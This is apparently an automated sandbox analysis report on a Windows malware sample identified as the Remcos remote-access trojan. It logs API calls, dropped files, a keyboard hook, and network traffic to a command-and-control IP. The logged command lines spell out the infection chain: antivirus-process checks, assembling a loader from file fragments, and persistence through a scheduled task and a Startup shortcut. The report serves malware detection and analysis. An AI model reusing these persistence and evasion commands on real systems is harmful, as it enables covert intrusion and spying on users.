Windows Analysis Report
nikDoCvpJa.exe

AI detected suspicious sample

Source: Yara match

File source: C:\ProgramData\data\registros.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.8% probability

Source: nikDoCvpJa.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: nikDoCvpJa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0020A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_0020A087
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0020A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_0020A1E2
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001FE472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	19_2_001FE472
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0020A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	19_2_0020A570
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001CC622 FindFirstFileExW,	19_2_001CC622
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_002066DC FindFirstFileW,FindNextFileW,FindClose,	19_2_002066DC
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00207333 FindFirstFileW,FindClose,	19_2_00207333
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_002073D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	19_2_002073D4
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001FD921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_001FD921
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001FDC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_001FDC54

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\638933	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\638933\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.5:49804 -> 181.131.217.244:3021
Source: Network traffic	Suricata IDS: 2032777 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Server Response : 181.131.217.244:3021 -> 192.168.2.5:49804

Source: global traffic

TCP traffic: 192.168.2.5:49804 -> 181.131.217.244:3021

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 181.131.217.244 181.131.217.244
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49810 -> 178.237.33.50:80

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_0020D889 InternetReadFile,SetEvent,GetLastError,SetEvent,

19_2_0020D889

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: wnBHxhzUAWNxsjrpdZtUkwTu.wnBHxhzUAWNxsjrpdZtUkwTu
Source: global traffic	DNS traffic detected: DNS query: navegacionseguracol24vip.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: nikDoCvpJa.exe	String found in binary or memory: http://crl.globalsign.com/gs/gscodesignsha2g2.crl0
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: nikDoCvpJa.exe	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: nikDoCvpJa.exe	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0G
Source: nikDoCvpJa.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: nikDoCvpJa.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: nikDoCvpJa.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: nikDoCvpJa.exe	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g20
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, nikDoCvpJa.exe, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: nikDoCvpJa.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g2.crt08
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: nikDoCvpJa.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: nikDoCvpJa.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: nikDoCvpJa.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000000.2162090639.0000000000895000.00000002.00000001.01000000.00000007.sdmp, CyberScope.com, 00000013.00000002.2190131677.0000000000265000.00000002.00000001.01000000.00000009.sdmp, CyberScope.com, 00000016.00000000.2276662268.0000000000265000.00000002.00000001.01000000.00000009.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: Beth.com, 0000000B.00000003.2169068008.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, Beth.com, 0000000B.00000003.2604808028.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, Beth.com.2.dr, CyberScope.com.11.dr, Cleveland.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Cleveland.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: nikDoCvpJa.exe	String found in binary or memory: https://www.globalsign.com/repository/06

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\638933\Beth.com

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_0020F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

19_2_0020F7C7

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_0020F55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

19_2_0020F55C

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_00229FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

19_2_00229FD2

E-Banking Fraud

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: Yara match

File source: C:\ProgramData\data\registros.dat, type: DROPPED

System Summary

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js"

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_00204763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

19_2_00204763

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001F1B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

19_2_001F1B4D

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_004038AF
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001FF20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		19_2_001FF20D

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	File created: C:\Windows\QuicklySelf	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	File created: C:\Windows\EvansCountries	Jump to behavior
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	File created: C:\Windows\OurselvesClick	Jump to behavior

Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B8017	19_2_001B8017
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001AE144	19_2_001AE144
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0019E1F0	19_2_0019E1F0
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001CA26E	19_2_001CA26E
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001922AD	19_2_001922AD
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B22A2	19_2_001B22A2
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001AC624	19_2_001AC624
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001CE87F	19_2_001CE87F
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_0021C8A4	19_2_0021C8A4
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00202A05	19_2_00202A05
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001C6ADE	19_2_001C6ADE
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001F8BFF	19_2_001F8BFF
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001ACD7A	19_2_001ACD7A
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001BCE10	19_2_001BCE10
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001C7159	19_2_001C7159
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00199240	19_2_00199240
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00225311	19_2_00225311
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001996E0	19_2_001996E0
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B1704	19_2_001B1704
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B1A76	19_2_001B1A76
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_00199B60	19_2_00199B60
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B7B8B	19_2_001B7B8B
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B1D20	19_2_001B1D20
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B7DBA	19_2_001B7DBA
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001B1FE7	19_2_001B1FE7

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\638933\Beth.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: String function: 001B0DA0 appears 46 times
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: String function: 001AFD52 appears 40 times
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Code function: String function: 004062CF appears 57 times

Source: nikDoCvpJa.exe

Static PE information: invalid certificate

Source: nikDoCvpJa.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: nikDoCvpJa.exe

Static PE information: Section: .rsrc ZLIB complexity 0.994193565464666

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@36/29@3/2

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_002041FA GetLastError,FormatMessageW,

19_2_002041FA

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001F2010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		19_2_001F2010
Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com	Code function: 19_2_001F1A0B AdjustTokenPrivileges,CloseHandle,		19_2_001F1A0B

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

0_2_004044D1

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_001FDD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

19_2_001FDD87

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Code function: 19_2_00203A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

19_2_00203A0E

Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com

File created: C:\Users\user\AppData\Local\SecureScope Dynamics

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

File created: C:\Users\user\AppData\Local\Temp\nsyBD3C.tmp

Source: nikDoCvpJa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: nikDoCvpJa.exe

ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\nikDoCvpJa.exe

File read: C:\Users\user\Desktop\nikDoCvpJa.exe

Source: unknown	Process created: C:\Users\user\Desktop\nikDoCvpJa.exe "C:\Users\user\Desktop\nikDoCvpJa.exe"
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Cab Cab.cmd & Cab.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 638933
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Chosen" Bugs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wichita + ..\Sign + ..\Idol + ..\Lauren + ..\Rice + ..\Bold + ..\Loops + ..\Shore + ..\Marie g
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\638933\Beth.com Beth.com g
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url" & echo URL="C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"
Source: C:\Users\user\Desktop\nikDoCvpJa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Cab Cab.cmd & Cab.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 638933	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Chosen" Bugs	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wichita + ..\Sign + ..\Idol + ..\Lauren + ..\Rice + ..\Bold + ..\Loops + ..\Shore + ..\Marie g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\638933\Beth.com Beth.com g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\638933\Beth.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F	Jump to behavior
